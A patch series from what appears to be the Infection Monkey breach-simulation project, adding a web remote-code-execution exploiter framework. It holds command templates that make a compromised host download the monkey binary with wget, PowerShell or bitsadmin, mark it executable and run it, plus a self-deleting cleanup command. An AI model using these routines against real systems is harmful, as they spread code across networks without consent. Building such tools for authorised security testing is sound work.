From 68d949c655852a15282890e45eb39f357a6cce2f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 12:33:44 +0300 Subject: [PATCH 01/14] Web RCE framework core files/changes --- infection_monkey/exploit/tools.py | 19 +- infection_monkey/exploit/web_rce.py | 362 +++++++++++++++++++++++++ infection_monkey/model/__init__.py | 20 +- infection_monkey/transport/__init__.py | 2 +- infection_monkey/transport/http.py | 31 +++ 5 files changed, 425 insertions(+), 9 deletions(-) create mode 100644 infection_monkey/exploit/web_rce.py diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index dbbd8070a..c40fd6f9c 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -21,7 +21,7 @@ import monkeyfs from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes -from transport import HTTPServer +from transport import HTTPServer, LockedHTTPServer class DceRpcException(Exception): @@ -386,6 +386,23 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + def get_interface_to_target(dst): if sys.platform == "win32": diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py new file mode 100644 index 000000000..1f79b3f4e --- /dev/null +++ b/infection_monkey/exploit/web_rce.py @@ -0,0 +1,362 @@ +import logging + +from threading import Lock +from exploit import HostExploiter +from model import * +from posixpath import join +import re +from abc import abstractmethod +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from network.tools import check_tcp_port + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + +LOCK = Lock() + +class WebRCE(HostExploiter): + + def __init__(self, host): + super(WebRCE, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + self.skip_exist = self._config.skip_exploit_if_file_exist + + @abstractmethod + def exploit_host(self): + raise NotImplementedError() + + @abstractmethod + def exploit(self, url, command): + """ + A reference to a method which implements web exploit logic. + :param url: Url where to send maliciuos packet + :param command: Command which will be executed on remote host + :return: Command's output string. Or True/False if it's a blind exploit + """ + raise NotImplementedError() + + @staticmethod + def get_open_service_ports(host, port_list, names): + """ + :param host: Host machine we are dealing with + :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Returns all open ports from port list that are of service names + """ + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports + + @staticmethod + def check_if_port_open(host, port): + is_open, _ = check_tcp_port(host.ip_addr, port) + if not is_open: + LOG.info("Port %s is closed on %r, skipping", port, host) + return False + return True + + @staticmethod + def check_if_exploitable(exploiter, url): + try: + resp = exploiter(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False + + @staticmethod + def build_potential_urls(host, ports, extensions=None): + """ + :param host: Domain part of url, for example ip of host + :param ports: Array [ port.nr, isHTTPS? ] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions is None: + for port in ports: + if port[1]: + url_list.append(("https://%s:%s" % (host.ip_addr, port[0]))) + else: + url_list.append(("http://%s:%s" % (host.ip_addr, port[0]))) + else: + # We parse extensions not to start with / + for idx, extension in enumerate(extensions): + if '/' in extension[0]: + extensions[idx] = extension[1:] + for port in ports: + for extension in extensions: + if port[1]: + url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) + else: + url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) + if not url_list: + LOG.info("No attack url's were built") + return url_list + + @staticmethod + def get_host_arch(host, exploiter, url): + """ + :param host: Host parameter + :param exploiter: Function with exploit logic. exploiter(url, command) + :param url: Url for exploiter to use + :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... + """ + if 'linux' in host.os['type']: + resp = exploiter(url, ARCH_LINUX) + if resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + if arch: + return arch + else: + LOG.info("Could not pull machine architecture string from command's output") + return False + else: + return False + else: + resp = exploiter(url, ARCH_WINDOWS) + if resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def check_remote_file(exploiter, url, path): + command = EXISTS % path + resp = exploiter(url, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True + + @staticmethod + def check_remote_files(host, exploiter, url, config): + """ + Checks if any monkey files are present on remote host + :param host: Host parameter + :param exploiter: Function with exploit logic. exploiter(url, command) + :param url: Url for exploiter to use + :param config: Monkey config from which paths are taken + :return: True if at least one file is found, False otherwise + """ + paths = [] + if 'linux' in host.os['type']: + paths.append(config.dropper_target_path_linux) + else: + paths.append(config.dropper_target_path_win_32) + paths.append(config.dropper_target_path_win_64) + for path in paths: + if WebRCE.check_remote_file(exploiter, url, path): + return True + return False + + @staticmethod + def get_monkey_dest_path(config, src_path): + """ + Gets destination path from source path. + :param config: monkey configuration + :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + if not src_path or ('linux' not in src_path and 'windows' not in src_path): + LOG.error("Can't get destination path because source path %s is invalid.", src_path) + return False + try: + if 'linux' in src_path: + return config.dropper_target_path_linux + elif "windows-32" in src_path: + return config.dropper_target_path_win_32 + else: + return config.dropper_target_path_win_64 + except AttributeError: + LOG.error("Seems like configuration properties names changed. " + "Can not get destination path to upload monkey") + return False + + # Wrapped functions: + + @staticmethod + def get_ports_w(host, ports, names, log_msg=None): + ports = WebRCE.get_open_service_ports(host, ports, names) + if not ports and not log_msg: + LOG.info("All default web ports are closed on %r, skipping", host) + return False + elif not ports and log_msg: + LOG.info(log_msg) + return False + else: + return ports + + @staticmethod + def set_host_arch(host, exploiter, url): + arch = WebRCE.get_host_arch(host, exploiter, url) + if not arch: + LOG.error("Couldn't get host machine's architecture") + return False + else: + host.os['machine'] = arch + return True + + @staticmethod + def upload_monkey(host, config, exploiter, url, commands=None): + """ + :param host: Where we are trying to upload + :param exploiter:exploiter(url, command) Method that implements web RCE + :param config: Monkey config, to get the path where to place uploaded monkey + :param url: Where exploiter should send it's request + :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :return: {'response': response/False, 'path': monkeys_path_in_host} + """ + LOG.info("Trying to upload monkey to the host.") + src_path = get_target_monkey(host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = WebRCE.get_monkey_dest_path(config, src_path) + if not path: + return False + # To avoid race conditions we pass a locked lock to http servers thread + LOCK.acquire() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK) + LOCK.acquire() + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + if not host.os['type']: + LOG.error("Unknown target's os type. Skipping.") + return False + if 'linux' in host.os['type']: + if not commands: + command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} + else: + try: + command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit linux host, but linux command is missing/bad! " + "Check upload_monkey function docs.") + return False + else: + if not commands: + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} + else: + try: + command = commands['windows'] % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit windows host, but windows command is missing/bad! " + "Check upload_monkey function docs.") + return False + resp = exploiter(url, command) + + if not isinstance(resp, bool) and 'owershell is not recognized' in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} + resp = exploiter(url, backup_command) + LOCK.release() + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Uploading proccess finished") + return {'response': resp, 'path': path} + + @staticmethod + def change_permissions(host, url, exploiter, path, command=None): + """ + Method for linux hosts. Makes monkey executable + :param host: Host info + :param url: Where to send malicious packets + :param exploiter: exploiter(url, command) Method that implements web RCE. + :param path: Path to monkey on remote host + :param command: Formatted command for permission change or None + :return: response, False if failed and True if permission change is not needed + """ + LOG.info("Changing monkey's permissions") + if 'windows' in host.os['type']: + LOG.info("Permission change not required for windows") + return True + if not command: + command = CHMOD_MONKEY % {'monkey_path': path} + try: + resp = exploiter(url, command) + except Exception as e: + LOG.error("Something went wrong while trying to change permission: %s" % e) + return False + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Permission change finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'Operation not permitted' in resp: + LOG.error("Missing permissions to make monkey executable") + return False + elif 'No such file or directory' in resp: + LOG.error("Could not change persmission because monkey was not found. Check path parameter.") + return False + LOG.info("Permission change finished") + return resp + + @staticmethod + def execute_remote_monkey(host, url, exploiter, path, dropper=False): + """ + This method executes remote monkey + :param host: Host info + :param url: Where to send malicious packets + :param exploiter: exploiter(url, command) Method that implements web RCE. + :param path: Path to monkey on remote host + :param dropper: Should remote monkey be executed with dropper or with monkey arg? + :return: Response or False if failed + """ + LOG.info("Trying to execute remote monkey") + # Get monkey command line + if dropper and path: + monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} + else: + monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} + try: + resp = exploiter(url, command) + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Execution attempt successfully finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'is not recognized' in resp or 'command not found' in resp: + LOG.error("Wrong path chosen or other process already deleted monkey") + return False + elif 'The system cannot execute' in resp: + LOG.error("System could not execute monkey") + return False + except Exception as e: + LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) + return False + LOG.info("Execution attempt finished") + return resp + + + diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index a2a1e18bb..0c1e5a09b 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +ARCH_WINDOWS = "wmic os get osarchitecture" +ARCH_LINUX = "lscpu" # Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +EXISTS = "ls %s" + +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 14a0d68b2..d0408a309 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,3 +1,3 @@ -from http import HTTPServer +from http import HTTPServer, LockedHTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 8d07fd155..e65248161 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -6,6 +6,7 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit +from threading import Lock import monkeyfs from base import TransportProxyBase, update_last_serve_time @@ -182,6 +183,36 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) +class LockedHTTPServer(threading.Thread): + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + self._local_ip = local_ip + self._local_port = local_port + self._filename = filename + self.max_downloads = max_downloads + self.downloads = 0 + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + + def run(self): + class TempHandler(FileServHTTPRequestHandler): + filename = self._filename + + @staticmethod + def report_download(dest=None): + LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + self.downloads += 1 + + httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) + self.lock.release() + while not self._stopped and self.downloads < self.max_downloads: + httpd.handle_request() + + self._stopped = True + + def stop(self, timeout=60): + self._stopped = True + self.join(timeout) class HTTPConnectProxy(TransportProxyBase): def run(self): From 40957f865cb9ff7707337394f6bb73f4ff77347d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:04:52 +0300 Subject: [PATCH 02/14] Struts2 compatability fix --- infection_monkey/model/__init__.py | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 0c1e5a09b..a2a1e18bb 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,19 +17,13 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" -POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" -WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' -CHMOD_MONKEY = "chmod +x %(monkey_path)s" -RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' + # Commands used to check for architecture and if machine is exploitable -CHECK_COMMAND = "echo %s" % ID_STRING -# Architecture checking commands -ARCH_WINDOWS = "wmic os get osarchitecture" -ARCH_LINUX = "lscpu" +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Commands used to check if monkeys already exists -EXISTS = "ls %s" - -DOWNLOAD_TIMEOUT = 300 \ No newline at end of file +EXISTS = "ls %s" \ No newline at end of file From 3f8d63c2d9fef7dc2d8694ea2f09cc442b07adc1 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 4 Aug 2018 13:01:19 +0300 Subject: [PATCH 03/14] Timeout of joining set to 5 seconds. No use of waiting for another thread to stop. We can run our program while the thread stops --- infection_monkey/transport/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index e65248161..9f526565f 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -210,7 +210,7 @@ class LockedHTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=60): + def stop(self, timeout=5): self._stopped = True self.join(timeout) From 8e684a3fadc5af44b75af7659bd880b94ddfe09b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 7 Aug 2018 17:44:31 +0300 Subject: [PATCH 04/14] Bugfix: model.__init__ changed( I forgot to add the file to the branch) and server lock is not a singleton anymore --- infection_monkey/exploit/web_rce.py | 11 +++++------ infection_monkey/model/__init__.py | 20 +++++++++++++------- 2 files changed, 18 insertions(+), 13 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 1f79b3f4e..571c0ad70 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -13,8 +13,6 @@ __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -LOCK = Lock() - class WebRCE(HostExploiter): def __init__(self, host): @@ -237,14 +235,15 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") + lock = Lock() path = WebRCE.get_monkey_dest_path(config, src_path) if not path: return False # To avoid race conditions we pass a locked lock to http servers thread - LOCK.acquire() + lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK) - LOCK.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) + lock.acquire() if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -278,7 +277,7 @@ class WebRCE(HostExploiter): LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = exploiter(url, backup_command) - LOCK.release() + lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading proccess finished") diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index a2a1e18bb..0c1e5a09b 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +ARCH_WINDOWS = "wmic os get osarchitecture" +ARCH_LINUX = "lscpu" # Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +EXISTS = "ls %s" + +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file From d1a29872c481cedd8d8eece5cf69e2b5fd4cfc8d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 8 Aug 2018 17:57:34 +0300 Subject: [PATCH 05/14] Fixed half of the notes and added a small tcp_port_to_service method in network/tools no message --- infection_monkey/exploit/tools.py | 9 ++ infection_monkey/exploit/web_rce.py | 203 ++++++++++-------------- infection_monkey/network/tcp_scanner.py | 4 +- infection_monkey/network/tools.py | 4 + infection_monkey/transport/http.py | 10 +- 5 files changed, 110 insertions(+), 120 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index c40fd6f9c..5ba7f6869 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -388,6 +388,15 @@ class HTTPTools(object): @staticmethod def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + """ + Create http server for file transfer with lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param lock: Instance of lock + :param local_ip: + :param local_port: + :return: + """ if not local_port: local_port = get_free_tcp_port() diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 571c0ad70..dedcb9f6b 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -7,12 +7,13 @@ from posixpath import join import re from abc import abstractmethod from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools -from network.tools import check_tcp_port +from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) + class WebRCE(HostExploiter): def __init__(self, host): @@ -29,45 +30,58 @@ class WebRCE(HostExploiter): def exploit(self, url, command): """ A reference to a method which implements web exploit logic. - :param url: Url where to send maliciuos packet + :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param command: Command which will be executed on remote host :return: Command's output string. Or True/False if it's a blind exploit """ raise NotImplementedError() - @staticmethod - def get_open_service_ports(host, port_list, names): + def get_open_service_ports(self, port_list, names): """ - :param host: Host machine we are dealing with :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param names: [] of service names. Example: ["http"] :return: Returns all open ports from port list that are of service names """ candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) + candidate_services.update({ + service: self.host.services[service] for service in self.host.services if + (self.host.services[service]['name'] in names) + }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] + tcp_port_to_service(port) in candidate_services] return valid_ports - @staticmethod - def check_if_port_open(host, port): - is_open, _ = check_tcp_port(host.ip_addr, port) + def check_if_port_open(self, port): + is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - LOG.info("Port %s is closed on %r, skipping", port, host) + LOG.info("Port %d is closed on %r, skipping", port, self.host) return False return True - @staticmethod - def check_if_exploitable(exploiter, url): + def get_command(self, path, http_path, commands): + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command try: - resp = exploiter(url, CHECK_COMMAND) + command = command % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit linux host, but linux command is missing/bad! " + "Check upload_monkey function docs.") + return False + return command + + def check_if_exploitable(self, url): + """ + Checks if target is exploitable by interacting with url + :param url: Url to exploit + :return: True if exploitable and false if not + """ + try: + resp = self.exploit(url, CHECK_COMMAND) if resp is True: return True elif resp is not False and ID_STRING in resp: @@ -78,46 +92,38 @@ class WebRCE(HostExploiter): LOG.error("Host's exploitability check failed due to: %s" % e) return False - @staticmethod - def build_potential_urls(host, ports, extensions=None): + def build_potential_urls(self, ports, extensions=None): """ - :param host: Domain part of url, for example ip of host - :param ports: Array [ port.nr, isHTTPS? ] + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ url_list = [] - if extensions is None: - for port in ports: - if port[1]: - url_list.append(("https://%s:%s" % (host.ip_addr, port[0]))) - else: - url_list.append(("http://%s:%s" % (host.ip_addr, port[0]))) - else: - # We parse extensions not to start with / + if extensions: for idx, extension in enumerate(extensions): if '/' in extension[0]: extensions[idx] = extension[1:] - for port in ports: - for extension in extensions: - if port[1]: - url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) - else: - url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) if not url_list: LOG.info("No attack url's were built") return url_list - @staticmethod - def get_host_arch(host, exploiter, url): + def get_host_arch(self, url): """ - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ - if 'linux' in host.os['type']: - resp = exploiter(url, ARCH_LINUX) + if 'linux' in self.host.os['type']: + resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) @@ -130,7 +136,7 @@ class WebRCE(HostExploiter): else: return False else: - resp = exploiter(url, ARCH_WINDOWS) + resp = self.exploit(url, ARCH_WINDOWS) if resp: if "64-bit" in resp: return "64" @@ -139,42 +145,34 @@ class WebRCE(HostExploiter): else: return False - @staticmethod - def check_remote_file(exploiter, url, path): + def check_remote_file(self, url, path): command = EXISTS % path - resp = exploiter(url, command) + resp = self.exploit(url, command) if 'No such file' in resp: return False else: LOG.info("Host %s was already infected under the current configuration, done" % host) return True - @staticmethod - def check_remote_files(host, exploiter, url, config): + def check_remote_files(self, url): """ - Checks if any monkey files are present on remote host - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use - :param config: Monkey config from which paths are taken :return: True if at least one file is found, False otherwise """ paths = [] - if 'linux' in host.os['type']: - paths.append(config.dropper_target_path_linux) + if 'linux' in self.host.os['type']: + paths.append(self._config.dropper_target_path_linux) else: - paths.append(config.dropper_target_path_win_32) - paths.append(config.dropper_target_path_win_64) + paths.append(self._config.dropper_target_path_win_32) + paths.append(self._config.dropper_target_path_win_64) for path in paths: - if WebRCE.check_remote_file(exploiter, url, path): + if self.check_remote_file(url, path): return True return False - @staticmethod - def get_monkey_dest_path(config, src_path): + def get_monkey_dest_path(self, src_path): """ Gets destination path from source path. - :param config: monkey configuration :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ @@ -183,46 +181,36 @@ class WebRCE(HostExploiter): return False try: if 'linux' in src_path: - return config.dropper_target_path_linux + return self._config.dropper_target_path_linux elif "windows-32" in src_path: - return config.dropper_target_path_win_32 + return self._config.dropper_target_path_win_32 else: - return config.dropper_target_path_win_64 + return self._config.dropper_target_path_win_64 except AttributeError: LOG.error("Seems like configuration properties names changed. " "Can not get destination path to upload monkey") return False # Wrapped functions: - - @staticmethod - def get_ports_w(host, ports, names, log_msg=None): - ports = WebRCE.get_open_service_ports(host, ports, names) - if not ports and not log_msg: + def get_ports_w(self, ports, names): + ports = WebRCE.get_open_service_ports(self.host, ports, names) + if not ports: LOG.info("All default web ports are closed on %r, skipping", host) return False - elif not ports and log_msg: - LOG.info(log_msg) - return False else: return ports - @staticmethod - def set_host_arch(host, exploiter, url): - arch = WebRCE.get_host_arch(host, exploiter, url) + def 